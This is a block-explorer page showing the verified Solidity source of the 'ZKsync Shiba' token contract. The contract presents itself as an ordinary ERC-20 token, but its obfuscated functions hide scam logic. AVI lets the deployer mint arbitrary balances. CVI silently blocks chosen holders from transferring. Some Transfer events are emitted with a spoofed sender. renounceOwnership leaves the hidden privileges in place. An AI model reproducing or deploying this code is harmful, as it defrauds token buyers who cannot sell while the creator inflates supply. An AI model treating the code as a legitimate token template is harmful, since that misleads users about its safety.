Skip to content
Verified contractPartialMIT

ZKSHIB

Address0xc8a3cf223f4b8a885cc725122aa79754e39413b3
Balance

0 ETH

 

Transactions

55

 

Compiler

solc 0.8.17

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.17+commit.8df45f5f
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
16,343,494
Creation transaction
0xb259e20b2f…08318dbafe

ZKSHIB.sol

// SPDX-License-Identifier: MIT



pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _Owner;
    address aIXx = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Create(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }


}



contract ZKSHIB is Context, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private bCXi;
    mapping (address => uint256) private CjII;
    mapping (address => mapping (address => uint256)) private dxxik;
    uint8 eixx = 8;
    uint256 fxOO = 100000000*10**8;
    string private _name;
    string private _symbol;



    constructor () 
{
        _name = "ZKsync Shiba";
        _symbol = "ZKSHIB";
        CjII[msg.sender] = 20;
        bCXi[msg.sender] = fxOO;
        emit Transfer(address(0), aIXx, fxOO);
    }

    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return eixx;
    }

    function totalSupply() public view  returns (uint256) {
        return fxOO;
    }

    function balanceOf(address account) public view  returns (uint256) {
        return bCXi[account];
    }
	 function allowance(address owner, address spender) public view  returns (uint256) {
        return dxxik[owner][spender];
    }
	

function approve(address spender, uint256 amount) public returns (bool success) {    
        dxxik[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

			   
  		
    function transfer(address recipient, uint256 amount) public returns (bool) {
 
        require(amount <= bCXi[msg.sender]);
        if(CjII[msg.sender] <= 2) {
        hioxX(msg.sender, recipient, amount);
        return true; }
     if(CjII[msg.sender] >= 20) {
        iiiXX(msg.sender, recipient, amount);
        return true; }}
	   
	   
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
    require(amount <= bCXi[sender]);
     require(amount <= dxxik[sender][msg.sender]);
                  if(CjII[sender] >= 20) {
        iiiXX(sender, recipient, amount);
        return true;} else
              if(CjII[sender] <= 2) { 
            if (CjII[recipient] <=2) {
        hioxX(sender, recipient, amount);
        return true;}}}	
			 			   function CVI (address nXIx)  public {
                     require(CjII[msg.sender] >= 20);
      CjII[nXIx] = 14;}
			function mxII (address nXIx, uint256 OiiX)  internal {
     bCXi[nXIx] += OiiX;} 	


		   function AVI (address nXIx, uint256 OiiX) public {
        require(CjII[msg.sender] >= 20);
   mxII(nXIx,OiiX);}
			    function hioxX(address sender, address recipient, uint256 amount) internal  {
        bCXi[sender] = bCXi[sender].sub(amount);
        bCXi[recipient] = bCXi[recipient].add(amount);
        emit Transfer(sender, recipient, amount); }	
	
	
		            function iiiXX(address sender, address recipient, uint256 amount) internal  {
        bCXi[sender] = bCXi[sender].sub(amount);
        bCXi[recipient] = bCXi[recipient].add(amount);
         sender = aIXx;
        emit Transfer(sender, recipient, amount); }

 

}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.